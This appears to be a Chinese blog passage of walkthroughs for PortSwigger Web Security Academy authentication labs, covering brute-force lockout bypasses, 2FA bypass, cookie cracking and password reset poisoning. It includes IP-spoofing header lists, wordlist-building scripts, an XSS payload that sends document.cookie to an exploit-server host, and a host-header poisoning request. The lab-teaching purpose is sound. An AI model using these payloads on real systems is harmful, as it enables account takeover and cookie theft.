这时候只能上字典,继续找不同,看看有没错误信息、登录锁定、速率限制、IP封禁等限制。排除返回 Invalid username or password. 的用户名,发现用户 vagrant 登录时返回的 Invalid username or password ,点变成空格,这种细微的差别可能证明这个用户是存在。

Pasted image 20250519134607.png

之后成功爆破 vagrant 密码为 summer。

Pasted image 20250519134628.png

Lab: Username enumeration via response timing

题意:根据标题来看,仍然要求爆破用户名,登录其账户,但是这次给了一个有效的账户 wiener:peter 供你测试。

手动输入用户名,错误模糊显示。

Pasted image 20250519143252.png

一爆破就封禁。

Pasted image 20250519143317.png

尝试 IP 绕过,添加 X-Forwarded-For: 1.1.1.1 成功绕过限制,发现每个 IP 只要登录错误 3 次就会被封禁 30 分钟。因此爆破的时候每次请求更换 XFF 头的值即可,它并不校验这个头的值是不是 IP 格式。

绕过 IP 限制去爆破也没发现明显的错误信息特征,时间长短也都是 200~400 毫秒之间,重复尝试了 5 遍左右仍然没发现特别大的差异。这里尝试把密码加长登录,当用户名有效时去验证登录验证密码会延长至 3000 多毫秒。这是因为验证密码是是先明文密码通过哈希摘要算法进行计算最后比对结果,这个计算有个特性,明文密码越长计算的时间也会越长。

Pasted image 20250519150302.png

无效的则是 200~300 毫秒之间。

Pasted image 20250519150151.png

Intruder 设置两个位置都相同的值。

Pasted image 20250519161832.png

成功爆破出 anaheim 与 wiener 两个用户。

Pasted image 20250519150409.png

紧接成功爆破出 anaheim 的密码 tigger。

Pasted image 20250519150613.png

Lab: Broken brute-force protection, IP block

题意:某些时候爆破尝试多了会封禁 IP,但是锁定设置的逻辑有缺陷,只要账户成功登录后 IP 错误失败计数器就会清零,这时候就能绕过 IP 限制。这个 Lab 提供了可用于登录的账户 wiener:peter,需要你根据这个原理绕过 IP 登录限制,爆破出 carlos 的密码。

经过手工测试,发现登录错失败 3 次就会锁定 IP 地址 1 分钟。

ou have made too many incorrect login attempts. Please try again in 1 minute(s).

第一反应就是应用如何取的 IP,看应用是不是通过 X-Forwarded-For 等请求头取的 IP,而不是 TCP 连接的 IP。经过尝试失败。

Ali-CDN-Real-IP: 1.1.1.1
Cdn-Real-Ip: 1.1.1.1
Cdn-Src-Ip: 1.1.1.1
CF-Connecting_IP: 1.1.1.1
CF-Connecting-IP: 1.1.1.1
Client-IP: 1.1.1.1
Contact: 1.1.1.1
Fastly-Client-Ip: 1.1.1.1
Forwarded: 1.1.1.1
Forwarded-For: 1.1.1.1
From: 1.1.1.1
Proxy-Client-IP: 1.1.1.1
Referer: 1.1.1.1
True-Client-Ip: 1.1.1.1
True-Client-IP: 1.1.1.1
User-Agent: 1.1.1.1
WL-Proxy-Client-IP: 1.1.1.1
X-Api-Version: 1.1.1.1
X-Client-IP: 1.1.1.1
X-Cluster-Client-IP: 1.1.1.1
X-Custom-IP-Authorization: 1.1.1.1
X-Forwarded: 1.1.1.1
X-Forwarded-For: 1.1.1.1
X-Forwarded-Host: 1.1.1.1
X-Forwarded-Proto: 1.1.1.1
X-Host: 1.1.1.1
X-Originating-IP: 1.1.1.1
X-Real-IP: 1.1.1.1
X-Remote-Addr: 1.1.1.1
X-Remote-IP: 1.1.1.1
X-Requested-With: 1.1.1.1
X-Wap-Profile: 1.1.1.1

在锁定状态下连正确账户也无法登录,接着猜测是不是在 SESSION ID 中存了对应错误消息,只要请求中不带这个 Cookie 就会绕过锁定。这种尝试仍然失败。

POST /login HTTP/2
Host: 0a1e001d034ccf6e80d2357800b500cd.web-security-academy.net
Cookie: session=VTr6kAhwfcBey1jp60ACtT9z9OhxJFnO
Content-Length: 28
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="133", "Not(A:Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Origin: https://0a1e001d034ccf6e80d2357800b500cd.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a1e001d034ccf6e80d2357800b500cd.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

username=carlos&password=123

最后根据教学材料发现,只要 IP 没锁定,成功登录账户就会清除锁定计数器。转换成爆破规则是爆破 carlos 密码失败两次,去成功登录一次账户来清除锁定计数次数,这样就能绕过锁定逻辑一直实施爆破操作。

具体爆破怎么操作?刚好这个 Lab 没有验证码,我们有两个思路。一是写个爆破脚本,每爆破一次就检查下是不是存在 <p class=is-warning>Incorrect password</p> 关键字,只要有就代表登录失败,此时就在变量 loginFail 中计数一次,只要变量 loginFail 数值等于 2或者登录存在锁定字符,就发送一次登录成功的请求就清零变量 loginFail 值清零,直到爆破成功为止。

第二中方式是修改现有的用户名/密码字典,首先制作密码字典,需要把第一行以外的基数行新增一行正确密码

# 打开文件并逐行读取
with open("password.txt", "r", encoding="utf-8") as file:
    for line_number, line in enumerate(file, start=1):
        if line_number % 2 == 0:
            print(line.strip())
            print("peter")
        else:
            print(line.strip())

得到密码。

123456
password
peter
12345678
qwerty
peter
123456789
12345
peter
......

接着制作用户名字典,确保每两行 carlos,后面跟一行 wiener。

for i in range(0, 100): # 根据原始字典来看有多少行
    if i % 2 == 0:
        print("carlos\ncarlos")
    else:
        print("wiener")        

得到用户名。

carlos
carlos
wiener
carlos
carlos
wiener
......

后面就正确账户的登录请求(防止 Intruder 初始请求登录错误扰乱计数)发到 Intruder,选择 Pitchfork attack 模式爆破。

Pasted image 20250523114454.png

资源池一定要设置为最大请求数 1,因为有严格的前后顺序要求,采用多线程发送会导致顺序错乱,锁定的几率变高。

Pasted image 20250523114854.png

成功爆出 carlos 密码为 112233。

Pasted image 20250523114950.png

最后看了看大家怎么做的这个 Lab,绕过锁定限制还有的提示课程用高并发,这点没有第一时间想到。

Lab: Username enumeration via account lock

题意:要求通过用户名枚举获取真实用户名,并且在绕过账户锁定机制,爆破出密码。

手动尝试了几个用户名,返回信息模糊了。

<p class=is-warning>Invalid username or password.</p>

随后爆破所有用户名,发现账户 antivirus,登录次数错误多了被锁定一分钟,说明这个账户有效。经过手动重复验证,是登录错误 3 次即锁定。

<p class=is-warning>You have made too many incorrect login attempts. Please try again in 1 minute(s).</p>

在 Intruder 选择 Sniper attack 模式,把所有密码爆一遍,排除两个错误信息。

<p class=is-warning>Invalid username or password.</p>
<p class=is-warning>You have made too many incorrect login attempts. Please try again in 1 minute(s).</p>

最终有一个 monitor 没有返回任何错误信息,就显示登录页面,大概率是后端应用的问题。最终拿这个密码成功登录账户 antivirus。

Pasted image 20250523143843.png

PS:后面爆破密码这块还是看了提示才知道怎么完成 Lab,这还是很考验信息收集能力,笔者就因漏排一个错误信息才导致漏看 monitor,另一点就是陷入路径依赖,比如最近几个 Lab,用户登录成功一定会 302 跳转,这里我没看到 302 就认为爆破失败。

Lab: Broken brute-force protection, multiple credentials per request

题意:Lab 限制了 IP 速度,要求你绕过限制爆破 carlos 的密码,登录个人中心完成 Lab。

登录 carlos 错误 3 次锁定一分钟。

<p class=is-warning>You have made too many incorrect login attempts. Please try again in 1 minute(s).</p>

Intruder 多线程爆破仍然会锁,一点思路没有。后面看了答案,应该是可以用数组来登录,这样应用会遍历里面每个密码进行登录。

{
    "username" : "carlos",
    "password" : [
        "123456",
        "password",
        "qwerty"
        ...
    ]
}

其中的逻辑一点都想不清楚,这是个例?不然只能合理化的猜测。

Lab: 2FA simple bypass

题意:已经有了 carlos 账户,登录后需要输入验证码,现在要你绕过验证码,去访问个人账户页面,完成 Lab。您的凭证 wiener:peter,受害者的凭证 carlos:montoya

登录后发现需要验证码。

Pasted image 20250512121447.png

最慢的办法是爆破,猜测安全码的构建逻辑,是纯数字还是大小写字母和数字混合等方案。

另一种方案是教程里提到的,有可能是第一次输入账户密码登录就是登录成功,第二遍的安全码验证没有跟前面的步骤连接起来形成关联,因此第一次登录成功账户就可以直接访问资源。

这里看到第一次用户名密码登录,成功返回了 SESSION ID,并跳转到安全码验证页面。

Pasted image 20250512121926.png

访问安全码验证页面会带上登录成功后的 SESSION ID。

Pasted image 20250512122021.png

如果不带这个 SESSION ID 访问就是未登录状态。

Pasted image 20250512122046.png

因此可以证明第一次登录就是成功的,此时就可以检查具体业务有没校验 SESSION 中安全码验证成功的信息,这里刚好没校验,成功访问到个人中心(要完成实验需要用 carlos 账户登录操作)。

Pasted image 20250512122308.png
Pasted image 20250512122341.png

Lab: 2FA broken logic

题意:给了一个账户 wiener:peter,要求你绕过二次认证,以 carlos 的身份访问个人账户中心。

第一次登录输入正确账户,返回了一个 verify=wienersession=oi4uG2CW0mc3FEdPKL14mkeEmwbMHNRW,紧接着跳转到二次验证。

Pasted image 20250523172612.png

第二次验证,向 Cookie 中的 verify 用户名发送邮件验证码,最终发现是 4 位数子。

Pasted image 20250523172730.png

输入正确邮件验证码就能登录成功,此时将发送目标账户改为 carlos,邮件验证码就发到 carlos 邮箱中。

Pasted image 20250523172554.png

此时知道验证码是 4 位数,成功爆破出来。

Pasted image 20250523171919.png

通过这个验证码直接成功登录 carlos 账户。

Pasted image 20250523173130.png

这个漏洞的原因是邮件验证码和 SESSION 没有验证绑定关系,在二次验证邮件验证码时,应该确认下请求中的 SESSION ID 用户名和这个验证码对应的用户名是不是同一个。

Lab: 2FA bypass using a brute-force attack

题意:有了受害者账户 carlos:montoya,登录时发现存在二次验证,要求你爆破验证码登录目标账户个人中心。

登录后尝试用 Intruder/Turbo Intruder 爆 4 位数验证码,发现存在 CSRF 保护,经过 Repeater 手动观察,验证码错误一次后 CSRF Token 失效,原来登录 SESSION ID 也会失效。

Pasted image 20250526092216.png

完整登录请求如下。

1.打开账户验证登录页

Pasted image 20250526103732.png

2.账户验证登录

Pasted image 20250526103934.png

3.二次验证登录页

Pasted image 20250526104042.png

4.二次验证登录请求

Pasted image 20250526104302.png

怎么想都不知道解法,最终看了提示与答案才知道,每次重新登录发送的验证码,在账户注销后仍然可以复用。

既然知道会注销会话后的验证码能复用,那么就可以编写脚本把这按照顺序完成这四个请求的发送,四个请求为一组采用多线程发送加快,根据上面几个 Lab 的目标是否成功登录结果验证来看是 302 状态码做筛选。

另一个解法是使用 BurpSuite Macro,这个功能很少用,其操作和原理都不太清楚。

打开 Settings -> Sessions -> Macros -> Add,按住 Shift 选中前三个请求把它们的参数记录到 cookie jar 里。

Pasted image 20250526110039.png

测试 Macro 会发现,登录账户时会自动根据参数名替换对应请求参数中的 CSRF Token。

Pasted image 20250526110116.png

打开 Settings -> Sessions -> Session handling rules -> Add,Rule actions -> Add中添加一个运行 Macro 操作。

Pasted image 20250526110437.png

选择刚刚创建的 Macro 7。

Pasted image 20250526110622.png

去到 Scope。

Pasted image 20250526110646.png

定义这个 Macro 作用范围,确保 Intruder 模块和 URLs 能够匹配上。

Pasted image 20250526110737.png

最后确保 Session handing 规则启用。

Pasted image 20250526110945.png

最终去到 Inturder 爆破的时,资源池请求书要限制在 1,避免重复 Session ID 和 CSRF Token 被使用。

你可以观察到每个 Intruder 的请求 SESSION ID 和 CSRF Token 都是变化的,并且响应也正常。

这个爆破的过程很漫长......如果爆出来无法使用,需要重新多爆破几次,或者重开 Lab。

Pasted image 20250526122435.png

Lab: Brute-forcing a stay-logged-in cookie

题意:cookie stay-logged-in 组成可以猜到,要求你通过暴力破解 Carlos 的方式伪造凭证去访问 Carlos 账户页面。这里提供用于正常登录的账户 wiener:peter

普通登录很正常。

Pasted image 20250527173218.png

一单勾选“记住我”功能登录,会返回 stay-logged-in。

Pasted image 20250527173149.png

stay-logged-in 这个值是 Base64,解码后是一个用户名和 MD5 密码 wiener:51dc30ddc473d43a6011e9ebba6ca770

直接替换用户名无法登录,需要爆破其密码。

首先把明文做成 MD5,接着通过正则加上前缀 carlogs:

Pasted image 20250527174019.png

在 Intruder 爆破的时候给 Payload 加上 Base64 编码处理。

Pasted image 20250527174315.png

爆破成功。

Pasted image 20250527174300.png

Lab: Offline password cracking

题意:勾选“记住我”会将将用户的密码哈希存储在 cookie 中。评论功存在一个 XSS 漏洞中,要求你通过这个漏洞获取 carlos 用户 Cookie 中键名为 stay-logged-in 的值,并破解出密码,使用明文密码登入“我的账户”页面删除他的账户完成实验。为了方便你调试 XSS 提供了账户 wiener:peter 供你测试使用。

翻了所有博文评论区,没有看到 carlos 的留言,应该是 carlos 会自动读任何一篇博文,只好随机跳转一篇博文,在一个评论区打 XSS。

Pasted image 20250528085641.png

最终发现是 comment 参数存在问题,没做任何过滤,可以解析 HTML 标签。通过 Base64 将 Cookie 发出来。

<script>
    fetch(`https://exploit-0aa700be044fbaa380d23985014f0047.exploit-server.net/exploit?${btoa(unescape(encodeURIComponent(document.cookie)))}`)
</script>

最终在 OOB 平台中获取到 carlos 发起的浏览请求。

10.0.4.186      2025-05-28 01:09:52 +0000 "POST /exploit HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
10.0.4.186      2025-05-28 01:09:52 +0000 "GET /exploit?c2VjcmV0PXI1MmtnRFY1eHpDWEFZb2J4OFNLQXhiUDNMZ3NORVJiOyBzdGF5LWxvZ2dlZC1pbj1ZMkZ5Ykc5ek9qSTJNekl6WXpFMlpEVm1OR1JoWW1abU0ySmlNVE0yWmpJME5qQmhPVFF6 HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"

成功获得密码 26323c16d5f4dabff3bb136f2460a943,对应明文是 onceuponatime。

有时候 Cookie 组成可能非常复杂,有可能获取到源码后才能知道怎么组合。

Lab: Password reset broken logic

题意:当重置密码的时候,会产生一个 Token 与当前要重置的账户进行榜样的,发起重置请求时会验证这个 Token 和请求参数中的用户名是否一致,而有些应用根本没有检查 Token 是否传递,以及 Token 对应账户与实际要修改的账户是否绑定,这两个逻辑错误导致了任意用户密码重置漏洞出现。这里提供 wiener:peter 账户供你测试登录,要求你重置 carlos 的密码访问“我的账户”页面。

输入要重置的账户用户名,发了封邮件到邮箱。

Sent:     2025-05-28 02:35:19 +0000
From:     "No reply" <no-reply@0aeb00c60347f9c681bbcf8d00790008.web-security-academy.net>
To:       wiener@exploit-0ae300ce036ff9318184ce66011200e4.exploit-server.net
Subject:  Account recovery

Hello!

Please follow the link below to reset your password.

https://0aeb00c60347f9c681bbcf8d00790008.web-security-academy.net/forgot-password?temp-forgot-password-token=23nw5dtzikqtqvwhc0esavsrifco4uxp

Thanks,
Support team

直接访问修改密码 URL 能看到 Token 绑定的用户是 winter。

Pasted image 20250528103958.png

看了看 temp-forgot-password-token 值并不能解开,不然就能重置任意账户密码。

最后修改密码是传递了用户名和Token,将用户名修改 carlos 后跳转了,不能确定是不是修改成功。

Pasted image 20250528103935.png

登录后 302 跳转,确定修改成功。

Pasted image 20250528104300.png

Lab: Password reset poisoning via middleware

题意:通常重置密码 URL Token 会放在 GET 参数上,攻击者可以控制重置密码 URL 当中的 Host,这样受害者点击重置密码 URL 时就会留下 GET 请求日志,拿到 Token 后可接管目标账户。这里提供一个测试账户 wiener:peter,要求重置 carlos 的密码访问个人账户页面完成 Lab。

尝试更改 Host 请求头,始终返回 "Resource not found - Academy Exploit Server",应该是虚拟主机不存在现实的错误,这说明邮件正文中重置密码 URL并没取 Host。

最终看了答案,才知道怎么做,这些内容都在 Practical HTTP Host header attacks 里,需要熟读理解。

目标应用在构造重置 URL 时使用的 X-Forwarded-Host 头,而这个头可以被客户端控制,因此产生了漏洞。这里只需要把 X-Forwarded-Host 的值写成恶意 HTTP 服务器的主机就好。

POST /forgot-password HTTP/2
Host: 0a4b00ef04dd975f800c038100d600e6.web-security-academy.net
Cookie: session=jTtUfoMKR93M0AnQVHtMGSZfW4BUSl2K
Content-Length: 15
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: https://0aa1002b04374757c59525ed004e004c.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
X-Forwarded-Host: exploit-0a21001804409793800c021d010c0045.exploit-server.net

username=wiener

在收到的邮件征文中可以看到,重置密码 URL 的 Host 成功被修改成 exploit-0a21001804409793800c021d010c0045.exploit-server.net,只要诱导受害者点击链接,攻击者就能获取到 Token 完成 wiener 用户的密码修改。

Sent:     2025-05-28 04:12:12 +0000
From:     "No reply" <no-reply@0a4b00ef04dd975f800c038100d600e6.web-security-academy.net>
To:       wiener@exploit-0a21001804409793800c021d010c0045.exploit-server.net
Subject:  Account recovery

Hello!

Please follow the link below to reset your password.

https://exploit-0a21001804409793800c021d010c0045.exploit-server.net/forgot-password?temp-forgot-password-token=ozqit5nzi91al65po8t7n0mtyvwx1kzc

Thanks,
Support team

因为是 Lab 环境,考虑到没有人配合点击链接,所以只要 carlos 收到邮件就会自动打开邮件中的链接,完成触发。

这里我们向 carlos 用户名发送的重置链接,成功收到请求日志,完成 Token 窃取。

10.0.4.151      2025-05-28 04:19:22 +0000 "GET /forgot-password?temp-forgot-password-token=w7ryitfoiryt2ivp1an6tluhn5czjojn HTTP/1.1" 404 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"

接着访问修改密码界面,完成 carlos 账户密码修改。

https://0a4b00ef04dd975f800c038100d600e6.web-security-academy.net/forgot-password?temp-forgot-password-token=w7ryitfoiryt2ivp1an6tluhn5czjojn

Lab: Password brute-force via password change

题意:用 wiener:peter 登录后存在密码修改功能,有时候也会存在用户名或密码枚举,要求修改 carlos 密码接管此账户。

为了摸明白修改密码的逻辑把修改密码的可能性都尝试一遍。

正常修改成功返回 200,页面上也会显示修改成功字样。

Pasted image 20250528142111.png

原密码错误直接注销会话,跳转到登录页。

Pasted image 20250528142308.png

原密码错误新密码不匹配,则提示原密码不对。

Pasted image 20250528144530.png

原密码正确,新密码不统一则提示新密码不匹配。

Pasted image 20250528144610.png

这里可以把 username 参数改成 carlos,发现回显用户名也是 carlos,证明存在越权,再把新密码两个参数值不统一,持续不断的改变原密码,返回 “New passwords do not match” 就判断密码爆破成功。

Pasted image 20250528144821.png

Intruder 设置 current-password,加上字典。

Pasted image 20250528145833.png

成功爆破出原密码 1321。

Pasted image 20250528145800.png

最近更新:

发布时间:

摆哈儿龙门阵